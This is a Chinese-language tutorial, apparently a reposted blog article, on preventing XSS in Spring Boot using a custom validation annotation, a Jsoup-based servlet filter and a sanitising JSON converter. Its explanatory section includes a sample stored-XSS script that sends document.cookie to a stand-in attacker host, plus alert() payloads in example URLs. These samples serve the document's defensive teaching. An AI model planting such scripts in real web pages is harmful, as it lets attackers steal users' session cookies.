SpringBoot实战:轻松实现XSS攻击防御(注解和过滤器)

文章目录

  • 引言
  • 一、XSS攻击概述
    • 1.1 XSS攻击的定义
    • 1.2 XSS攻击的类型
    • 1.3 XSS攻击的攻击原理及示例
  • 二、Spring Boot中的XSS防御手段
    • 2.1 使用注解进行XSS防御
      • 2.1.1 引入相关依赖
      • 2.1.2 使用@XSS注解进行参数校验
      • 2.1.3 实现自定义注解处理器
      • 2.1.4 使用注解
    • 2.2 使用过滤器进行XSS防御
      • 2.2.1 引入相关依赖
      • 2.2.2 编写配置类
      • 2.2.3 修改配置文件
      • 2.2.4 创建XSSFilter类
      • 2.2.5 编写过滤工具类
      • 2.2.6 编写XSSRequestWrapper类清理脚本
      • 2.2.7 自定义json消息解析器
  • 三、测试
      • 3.1 XSS注解:
      • 3.2 XSS过滤器
  • 四、总结

在这里插入图片描述

引言

随着Web应用的普及,网络安全问题也日益凸显。跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞,它允许攻击者将恶意脚本注入到其他用户浏览和使用的正常网页中。当其他用户浏览这些网页时,恶意脚本就会在他们的浏览器上执行,从而可能导致信息泄露、会话劫持等严重后果。XSS攻击的普遍性和潜在危害性使其成为Web应用安全中不可忽视的一部分。

本文旨在探讨如何在Spring Boot应用程序中有效地防御XSS攻击。我们将介绍两种主要的防御手段:注解和过滤器。通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行。

一、XSS攻击概述

XSS攻击,全称为跨站脚本攻击(Cross-Site Scripting),是一种常见的网络攻击手段。它主要利用了Web应用程序对用户输入验证的不足,允许攻击者将恶意脚本注入到其他用户浏览的网页中。

1.1 XSS攻击的定义

XSS攻击是指攻击者在Web页面的输入数据中插入恶意脚本,当其他用户浏览该页面时,这些脚本就会在用户的浏览器上执行。由于脚本是在受害用户的上下文中执行的,因此它可以访问该用户的所有会话信息和权限,从而可能导致信息泄露、会话劫持、恶意操作等安全风险。

1.2 XSS攻击的类型

XSS攻击主要分为以下三种类型:

  1. 存储型XSS(Persistent XSS):恶意脚本被永久存储在目标服务器上,如数据库、消息论坛、访客留言等,当用户访问相应的网页时,恶意脚本就会执行。
  2. 反射型XSS(Reflected XSS):恶意脚本并不存储在目标服务器上,而是通过诸如URL参数的方式直接在请求响应中反射并执行。这种类型的攻击通常是通过诱使用户点击链接或访问特定的URL来实施的。
  3. 基于DOM的XSS(DOM-based XSS):这种类型的XSS攻击完全发生在客户端,不需要服务器的参与。它通过恶意脚本修改页面的DOM结构,实现攻击。

1.3 XSS攻击的攻击原理及示例

XSS攻击的基本原理是利用Web应用程序对用户输入的信任,将恶意脚本注入到响应中。当其他用户访问包含恶意脚本的页面时,脚本会在他们的浏览器中执行。

可以参考:前端安全系列(一):如何防止XSS攻击? - 美团技术团队 (meituan.com)

示例:

  1. 存储型XSS攻击:

攻击者在一个博客评论系统中提交以下评论:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;
</script>

当其他用户查看这条评论时,他们的cookie会被发送到攻击者的服务器。

  1. 反射型XSS攻击:

攻击者构造一个恶意URL:

http://example.com/search?q=<script>alert('XSS')</script>

如果服务器直接将搜索词嵌入到响应中而不进行过滤,用户点击此链接后会看到一个警告框。

  1. DOM型XSS攻击:

假设网页中有以下JavaScript代码:

var name = document.location.hash.substr(1);
document.write("欢迎, " + name);

攻击者可以构造如下URL:

http://example.com/page.html#<script>alert('XSS')</script>

当用户访问此URL时,恶意脚本会被执行。

二、Spring Boot中的XSS防御手段

在Spring Boot中,我们可以采用多种方式来防御XSS攻击。下面将详细介绍两种常用的防御手段:使用注解和使用过滤器。

2.1 使用注解进行XSS防御

注解是一种轻量级的防御手段,它可以在方法或字段级别对输入进行校验,从而防止XSS攻击。

2.1.1 引入相关依赖

    <!--JSR-303/JSR-380用于验证的注解 --><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-validation</artifactId><version>3.2.0</version></dependency>

2.1.2 使用@XSS注解进行参数校验

我们可以自定义一个@XSS注解,用于标记那些需要校验的参数。这里是一个简单的@XSS注解定义:

@Target(value = { ElementType.METHOD, ElementType.FIELD, ElementType.CONSTRUCTOR, ElementType.PARAMETER })
@Retention(RetentionPolicy.RUNTIME)
@Constraint(validatedBy = XssValidator.class)
public @interface Xss {String message() default "非法输入, 检测到潜在的XSS";Class<?>[] groups() default {};Class<? extends Payload>[] payload() default {};
}

2.1.3 实现自定义注解处理器

接下来,我们需要实现XSSValidator类,该类将负责检查输入是否包含潜在的XSS攻击脚本:

public class XssValidator implements ConstraintValidator<Xss, String> {/*** 使用自带的 basicWithImages 白名单*/private static final Safelist WHITE_LIST = Safelist.relaxed();/*** 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化* 从而保持输入和输出内容的一致性。*/private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);/*** 验证输入值是否有效,即是否包含潜在的XSS攻击脚本。* * @param value 输入值,需要进行XSS攻击脚本清理。* @param context 上下文对象,提供关于验证环境的信息,如验证失败时的错误消息定制。* @return 如果清理后的值与原始值相同,则返回true,表示输入值有效;否则返回false,表示输入值无效。*/@Overridepublic boolean isValid(String value, ConstraintValidatorContext context) {// 使用Jsoup库对输入值进行清理,以移除潜在的XSS攻击脚本。// 使用预定义的白名单和输出设置来确保只保留安全的HTML元素和属性。String cleanedValue = Jsoup.clean(value, "", WHITE_LIST, OUTPUT_SETTINGS);// 比较清理后的值与原始值是否相同,用于判断输入值是否有效。return cleanedValue.equals(value);}}

2.1.4 使用注解

在要进行XSS防御的属性上添加注解:

@Data
@Tag(name = "用户",description = "用户登录类")
public class UserLoginDTO {@Xss@NotBlank(message = "账号不能为空")@Schema(name = "用户账号",type = "String")private String userAccount;@Xss@Size(min = 6, max = 18, message = "用户密码长度需在6-18位")@Schema(name = "用户密码",type = "String")private String password;@Xss@NotBlank(message = "邮箱验证码内容不能为空")@Schema(name = "邮箱验证码",type = "String")private String emailCaptcha;
}

Controller中的接口添加@Validated注解:

    @PostMapping("/test2")public Result<String> login(@RequestBody  @Validated UserLoginDTO userLoginDTO) {return Result.success();}

2.2 使用过滤器进行XSS防御

2.2.1 引入相关依赖

<!-- Jsoup依赖 -->
<dependency><groupId>org.jsoup</groupId><artifactId>jsoup</artifactId><version>1.17.2</version>
</dependency>

2.2.2 编写配置类

/*** 跨站脚本(XSS)过滤配置类。*/
@Data
@Component
@ConfigurationProperties(prefix = "xss")
public class FilterConfig {/*** 是否启用XSS过滤。*/private String enabled;/*** 需要排除的URL模式,这些URL不会进行XSS过滤。*/private String excludes;/*** 需要应用XSS过滤的URL模式。*/private String urlPatterns;/*** 注册XSS过滤器。** @return FilterRegistrationBean 用于注册过滤器的bean。*/@Beanpublic FilterRegistrationBean xssFilterRegistration() {FilterRegistrationBean registrationBean = new FilterRegistrationBean();// 设置过滤器的分发类型为请求类型registrationBean.setDispatcherTypes(DispatcherType.REQUEST);// 创建XssFilter的实例registrationBean.setFilter(new XssFilter());// 添加过滤器需要拦截的URL模式,这些模式从配置文件中的"urlPatterns"属性读取registrationBean.addUrlPatterns(StringUtils.split(urlPatterns, ","));// 设置过滤器的名称registrationBean.setName("XssFilter");// 设置过滤器的执行顺序,数值越小,优先级越高registrationBean.setOrder(9999);// 创建一个Map,用于存储过滤器的初始化参数Map<String, String> initParameters = new HashMap<>();// 将配置文件中的"excludes"属性设置到过滤器的初始化参数中initParameters.put("excludes", excludes);// 将配置文件中的"enabled"属性设置到过滤器的初始化参数中initParameters.put("enabled", enabled);// 将初始化参数设置到FilterRegistrationBean中registrationBean.setInitParameters(initParameters);// 返回FilterRegistrationBean,包含了XssFilter的配置信息return registrationBean;}
}

2.2.3 修改配置文件

xss:enabled: trueexcludes:url-patterns: /*

2.2.4 创建XSSFilter类

import jakarta.servlet.*;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import lombok.extern.slf4j.Slf4j;
import org.apache.commons.lang3.StringUtils;import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Matcher;
import java.util.regex.Pattern;@Slf4j
public class XssFilter implements Filter {/*** 存储需要排除XSS过滤的URL模式列表。*/private List<String> excludes = new ArrayList<>();/*** 是否启用XSS过滤的标志。*/private boolean enabled = false;/*** 初始化过滤器,从过滤器配置中读取排除列表和启用状态。** @param filterConfig 过滤器配置对象。* @throws ServletException 如果初始化过程中出现错误。*/@Overridepublic void init(FilterConfig filterConfig) throws ServletException {String strExcludes = filterConfig.getInitParameter("excludes");String strEnabled = filterConfig.getInitParameter("enabled");//将不需要xss过滤的接口添加到列表中if (StringUtils.isNotEmpty(strExcludes)) {String[] urls = strExcludes.split(",");for (String url : urls) {excludes.add(url);}}if (StringUtils.isNotEmpty(strEnabled)) {enabled = Boolean.valueOf(strEnabled);}}/*** 执行过滤逻辑,如果当前请求不在排除列表中,则通过XSS过滤器包装请求。** @param request  HTTP请求对象。* @param response HTTP响应对象。* @param chain    过滤器链对象,用于继续或中断请求处理。* @throws IOException      如果处理过程中出现I/O错误。* @throws ServletException 如果处理过程中出现Servlet相关错误。*/@Overridepublic void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {HttpServletRequest req = (HttpServletRequest) request;HttpServletResponse resp = (HttpServletResponse) response;//如果该访问接口在排除列表里面则不拦截if (isExcludeUrl(req.getServletPath())) {chain.doFilter(request, response);return;}log.info("uri:{}", req.getRequestURI());// xss 过滤chain.doFilter(new XssWrapper(req), resp);}/*** 销毁过滤器,释放资源。*/@Overridepublic void destroy() {// 无需额外的销毁逻辑}/*** 判断当前请求的URL是否应该被排除在XSS过滤之外。** @param urlPath 请求的URL路径。* @return 如果请求应该被排除,则返回true;否则返回false。*/private boolean isExcludeUrl(String urlPath) {if (!enabled) {//如果xss开关关闭了,则所有url都不拦截return true;}if (excludes == null || excludes.isEmpty()) {return false;}String url = urlPath;for (String pattern : excludes) {Pattern p = Pattern.compile("^" + pattern);Matcher m = p.matcher(url);if (m.find()) {return true;}}return false;}
}

2.2.5 编写过滤工具类

/*** XSS过滤工具类,使用Jsoup库对输入的字符串进行XSS攻击防护*/
public class XssUtil {/*** 使用自带的 basicWithImages 白名单*/private static final Safelist WHITE_LIST = Safelist.relaxed();/*** 定义输出设置,关闭prettyPrint(prettyPrint=false),目的是避免在清理过程中对代码进行格式化* 从而保持输入和输出内容的一致性。*/private static final Document.OutputSettings OUTPUT_SETTINGS = new Document.OutputSettings().prettyPrint(false);/*初始化白名单策略,允许所有标签拥有style属性。这是因为在富文本编辑中,样式通常通过style属性来定义,需要确保这些样式能够被保留。*/static {// 富文本编辑时一些样式是使用 style 来进行实现的// 比如红色字体 style="color:red;"// 所以需要给所有标签添加 style 属性WHITE_LIST.addAttributes(":all", "style");}/*** 清理输入的字符串,移除潜在的XSS攻击代码。* * @param content 待清理的字符串,通常是用户输入的HTML内容。* @return 清理后的字符串,保证不包含XSS攻击代码。*/public static String clean(String content) {// 使用定义好的白名单策略和输出设置清理输入的字符串return Jsoup.clean(content, "", WHITE_LIST, OUTPUT_SETTINGS);}
}

2.2.6 编写XSSRequestWrapper类清理脚本

在XSSFilter类中,我们创建了一个新的XSSRequestWrapper类,该类继承自HttpServletRequestWrapper。在这个包装类中,我们将重写getParameter等方法,以清理请求参数中的潜在XSS脚本。


@Slf4j
public class XssWrapper extends HttpServletRequestWrapper {/*** Constructs a request object wrapping the given request.** @param request The request to wrap* @throws IllegalArgumentException if the request is null*/public XssWrapper(HttpServletRequest request) {super(request);log.info("XssWrapper");}/*** 对数组参数进行特殊字符过滤*/@Overridepublic String[] getParameterValues(String name) {String[] values = super.getParameterValues(name);if (values == null) {return null;}int count = values.length;String[] encodedValues = new String[count];for (int i = 0; i < count; i++) {encodedValues[i] = cleanXSS(values[i]);}return encodedValues;}/*** 对参数中特殊字符进行过滤*/@Overridepublic String getParameter(String name) {String value = super.getParameter(name);if (StrUtil.isBlank(value)) {return value;}return cleanXSS(value);}/*** 获取attribute,特殊字符过滤*/@Overridepublic Object getAttribute(String name) {Object value = super.getAttribute(name);if (value instanceof String && StrUtil.isNotBlank((String) value)) {return cleanXSS((String) value);}return value;}/*** 对请求头部进行特殊字符过滤*/@Overridepublic String getHeader(String name) {String value = super.getHeader(name);if (StrUtil.isBlank(value)) {return value;}return cleanXSS(value);}/*** 清理输入的字符串以防止XSS攻击** @param value 待清理的字符串,通常为用户输入或来自不可信源的数据。* @return 清理后的字符串,移除了可能的XSS攻击代码。*/private String cleanXSS(String value) {return XssUtil.clean(value);}
}

2.2.7 自定义json消息解析器

在使用springboot中,类似于普通的参数parameter,attribute,header一类的,可以直接使用过滤器来过滤。而前端发送回来的json字符串就没那么方便过滤了。可以考虑用自定义json消息解析器来过滤前端传递的json。

可以参考文章:Springboot 过滤json中的特殊字符,避免xss攻击 | Cyckerr


/*** 在读取和写入JSON数据时特殊字符避免xss攻击的消息解析器**/
public class XSSMappingJackson2HttpMessageConverter extends MappingJackson2HttpMessageConverter {/*** 从HTTP输入消息中读取对象,同时应用XSS防护。* * @param type        类型令牌,表示要读取的对象类型。* @param contextClass    上下文类,提供类型解析的上下文信息。* @param inputMessage HTTP输入消息,包含要读取的JSON数据。* @return 从输入消息中解析出的对象,经过XSS防护处理。* @throws IOException 如果发生I/O错误。* @throws HttpMessageNotReadableException 如果消息无法读取。*/@Overridepublic Object read(Type type, Class contextClass,HttpInputMessage inputMessage) throws IOException,HttpMessageNotReadableException {JavaType javaType = getJavaType(type, contextClass);Object obj = readJavaType(javaType, inputMessage);//得到请求jsonString json = super.getObjectMapper().writeValueAsString(obj);//过滤特殊字符String result = XssUtil.clean(json);Object resultObj = super.getObjectMapper().readValue(result, javaType);return resultObj;}/*** 从HTTP输入消息中读取指定Java类型的对象,内部使用。* * @param javaType    要读取的对象的Java类型。* @param inputMessage HTTP输入消息,包含要读取的JSON数据。* @return 从输入消息中解析出的对象。* @throws IOException 如果发生I/O错误。* @throws HttpMessageNotReadableException 如果消息无法读取。*/private Object readJavaType(JavaType javaType, HttpInputMessage inputMessage) {try {return super.getObjectMapper().readValue(inputMessage.getBody(), javaType);} catch (IOException ex) {throw new HttpMessageNotReadableException("Could not read JSON: " + ex.getMessage(), ex);}}/*** 将对象写入HTTP输出消息,同时应用XSS防护。* * @param object 要写入的对象。* @param outputMessage HTTP输出消息,对象将被序列化为JSON并写入此消息。* @throws IOException 如果发生I/O错误。* @throws HttpMessageNotWritableException 如果消息无法写入。*/@Overrideprotected void writeInternal(Object object, HttpOutputMessage outputMessage)throws IOException, HttpMessageNotWritableException {//得到要输出的jsonString json = super.getObjectMapper().writeValueAsString(object);//过滤特殊字符String result = XssUtil.clean(json);// 输出outputMessage.getBody().write(result.getBytes());}
}

然后在启动类添加:

    @Beanpublic HttpMessageConverters xssHttpMessageConverters() {XSSMappingJackson2HttpMessageConverter xssMappingJackson2HttpMessageConverter = new XSSMappingJackson2HttpMessageConverter();HttpMessageConverter converter = xssMappingJackson2HttpMessageConverter;return new HttpMessageConverters(converter);}

三、测试

3.1 XSS注解:

如果不符合规则的字符(例如<script>alert('XSS');</script>)会提示非法输入,检测到潜在的XSS,可以看到下面的返回参数中的message已经变为默认警告。

image-20240705161416130

3.2 XSS过滤器

XSS过滤器实现的效果是过滤,将前端传递参数进行清理,达到XSS防御的目的。

观察下面的测试结果可以知道过滤器成功实现参数清理。

image-20240705184611821

image-20240705184627058

四、总结

本文深入探讨了在Spring Boot应用程序中如何有效地防御XSS攻击。我们介绍了两种主要的防御手段:使用注解和使用过滤器。通过这两种方式,开发者可以轻松地在Spring Boot应用中实现XSS攻击的防御,从而保障用户的数据安全和应用的稳定运行,希望对大家有所帮助😊。


参考文章:

SpringBoot 增加 XSS 跨站脚本攻击防护 | 小决的专栏 (jueee.github.io)

对xss攻击的防御 j · 看云 (kancloud.cn)

自定义注解XSS注解

Springboot 过滤json中的特殊字符,避免xss攻击 | Cyckerr

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/372340.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《算法笔记》总结No.5——递归

一.分而治之 将原问题划分为若干个规模较小而结构与原问题相同或相似的子问题&#xff0c;然后分别解决这些子问题&#xff0c;最后合并子问题的解&#xff0c;即可得到原问题的解&#xff0c;步骤抽象如下&#xff1a; 分解&#xff1a;将原问题分解为若干子问题解决&#x…

[氮化镓]Kevin J. Chen组新作—肖特基p-GaN HEMTs正栅ESD机理研究

这篇文章是发表在《IEEE Electron Device Letters》上的一篇关于Schottky型p-GaN栅极高电子迁移率晶体管&#xff08;HEMTs&#xff09;的正向栅极静电放电&#xff08;ESD&#xff09;机理研究的论文。文章由Jiahui Sun等人撰写&#xff0c;使用了基于碳化硅&#xff08;SiC&a…

Java--多态

1.多态为同一方法根据发送对象的不同而采用多种不同的行为方式 2.一个对象的实际类型是确定的&#xff0c;但可以指向对象的引用的类型有很多 3.多态存在的条件 1.有继承关系 2.子类重写父类方法 3.父类引用指向子类对象 4.多态是方法的多态&#xff0c;属性没有多态 5.由于…

全网最适合入门的面向对象编程教程:11 类和对象的Python实现-子类调用父类方法-模拟串口传感器和主机

全网最适合入门的面向对象编程教程&#xff1a;11 类和对象的 Python 实现-子类调用父类方法-模拟串口传感器和主机 摘要&#xff1a; 本节课&#xff0c;我们主要讲解了在 Python 类的继承中子类如何进行初始化、调用父类的属性和方法&#xff0c;同时讲解了模拟串口传感器和…

Python | Leetcode Python题解之第223题矩形面积

题目&#xff1a; 题解&#xff1a; class Solution:def computeArea(self, ax1: int, ay1: int, ax2: int, ay2: int, bx1: int, by1: int, bx2: int, by2: int) -> int:area1 (ax2 - ax1) * (ay2 - ay1)area2 (bx2 - bx1) * (by2 - by1)overlapWidth min(ax2, bx2) - …

电动卡丁车语音芯片方案选型:让驾驶体验更智能、更安全

在追求速度与激情的电动卡丁车领域&#xff0c;每一次升级都意味着更加极致的驾驶体验。而今天&#xff0c;我们要介绍的&#xff0c;正是一款能够显著提升电动卡丁车智能化与安全性的语音芯片方案——为您的爱车增添一份独特的魅力与安全保障。 智能化升级&#xff0c;从“听…

【js面试题】js的数据结构

面试题&#xff1a;说说你了解的js数据结构 JavaScript中的数据结构是编程的基础&#xff0c;它们帮助我们以高效的方式存储和操作数据。 下面将详细介绍 这些数据结构的来源、概念和应用场景。 数组 Array 来源&#xff1a; 数组是一种线性数据结构&#xff0c;起源于计算…

卷积神经网络可视化的探索

文章目录 训练LeNet模型下载FashionMNIST数据训练保存模型 卷积神经网络可视化加载模型一个测试图像不同层对图像处理的可视化第一个卷积层的处理第二个卷积层的处理 卷积神经网络是利用图像空间结构的一种深度学习网络架构&#xff0c;图像在经过卷积层、激活层、池化层、全连…

PyJWT,一个基于JSON的轻量级安全通信方式的python库

目录 什么是JWT&#xff1f; JWT的构成 PyJWT库简介 安装PyJWT 生成JWT 验证JWT 使用PyJWT的高级功能 自定义Claims 错误处理 结语 什么是JWT&#xff1f; 在介绍PyJWT这个Python库之前&#xff0c;我们首先需要了解什么是JWT。JWT&#xff0c;全称JSON Web Token&am…

Java根据经纬度获取两点之间的距离

Java根据经纬度获取两点之间的距离&#xff0c;最近在实现类似于钉钉打卡签到的需求&#xff0c;因为对精度要求不是很高&#xff0c;所以可以通过一个球面距离的公式来求两点距离&#xff0c;这里将地球当成一个球体&#xff0c;实际上地球是一个不规则的球体&#xff0c;所以…

HttpServer内存马

HttpServer内存马 基础知识 一些基础的方法和类 HttpServer&#xff1a;HttpServer主要是通过带参的create方法来创建&#xff0c;第一个参数InetSocketAddress表示绑定的ip地址和端口号。第二个参数为int类型&#xff0c;表示允许排队的最大TCP连接数&#xff0c;如果该值小…

Xilinx FPGA DDR4 接口的 PCB 准则

目录 1. 简介 1.1 FPGA-MIG 与 DDR4 介绍 1.2 DDR4 信号介绍 1.2.1 Clock Signals 1.2.2 Address and Command Signals 1.2.3 Address and Command Signals 1.2.4 Data Signals 1.2.5 Other Signals 2. 通用存储器布线准则 3. Xilinx FPGA-MIG 的 PCB 准则 3.1 引脚…

【Excel】 批量跳转图片

目录标题 1. CtrlA全选图片 → 右键 → 大小和属性2. 取消 锁定纵横比 → 跳转高度宽度 → 关闭窗口3. 最后一图拉到最后一单元格 → Alt吸附边框![](https://i-blog.csdnimg.cn/direct/d56ac1f41af54d54bb8c68339b558dd1.png)4. CtrlA全选图片 → 对齐 → 左对齐 → 纵向分布!…

uniapp实现一个键盘功能

前言 因为公司需要&#xff0c;所以我.... 演示 代码 键盘组件代码 <template><view class"keyboard_container"><view class"li" v-for"(item, index) in arr" :key"index" click"changArr(item)" :sty…

Linux的前世今生

Unix的起源和发展 1969年&#xff0c;AT&T贝尔实验室的Ken Thompson和Dennis Ritchie等人开发了Unix操作系统。Unix的设计理念强调小而简洁的工具&#xff0c;文本流和系统模块化&#xff0c;这些理念后来成为Linux开发的重要基础。1973年&#xff0c;Unix用C语言重新编写…

收银系统源码-营销活动-幸运抽奖

1. 功能描述 营运抽奖&#xff1a;智慧新零售收银系统&#xff0c;线上商城营销插件&#xff0c;商户/门店在小程序商城上设置抽奖活动&#xff0c;中奖人员可内定&#xff1b; 2.适用场景 新店开业、门店周年庆、节假日等特定时间促销&#xff1b;会员拉新&#xff0c;需会…

DDR3 (四)

1 DDR3 8倍预取 DDR3相比DDR2外部IO时钟又提高了一倍&#xff0c;因此DDR3外部IO时钟是内核时钟的4倍&#xff0c;再加上双沿采样&#xff0c;因此DDR3可以实现8倍预取 2 DDR3 芯片位宽 DDR3使用8倍预取技术&#xff0c;指的是芯片位宽&#xff08;DQ数据线位宽&#xff09…

逻辑回归模型(非回归问题,而是分类问题)

目录&#xff1a; 一、Sigmoid函数&#xff1a;二、逻辑回归介绍&#xff1a;三、决策边界四、逻辑回归模型训练过程&#xff1a;1.训练目标&#xff1a;2.梯度下降调整参数&#xff1a; 一、Sigmoid函数&#xff1a; Sigmoid函数是构建逻辑回归模型的重要函数&#xff0c;如下…

探展2024世界人工智能大会之令人惊艳的扫描黑科技~

文章目录 ⭐️ 前言⭐️ AIGC古籍修复文化遗产焕新⭐️ 高效的文档图像处理解决方案⭐️ AIGC扫描黑科技一键全搞定⭐️ 行业级的知识库大模型加速器⭐️ 结语 ⭐️ 前言 大家好&#xff0c;我是 哈哥&#xff08;哈哥撩编程&#xff09;&#xff0c;这次非常荣幸受邀作为专业…

Linux中的粘滞位及mysql日期函数

只要用户具有目录的写权限, 用户就可以删除目录中的文件, 而不论这个用户是否有这个文件的写 权限. 为了解决这个不科学的问题, Linux引入了粘滞位的概念. 粘滞位 当一个目录被设置为"粘滞位"(用chmod t),则该目录下的文件只能由 一、超级管理员删除 二、该目录…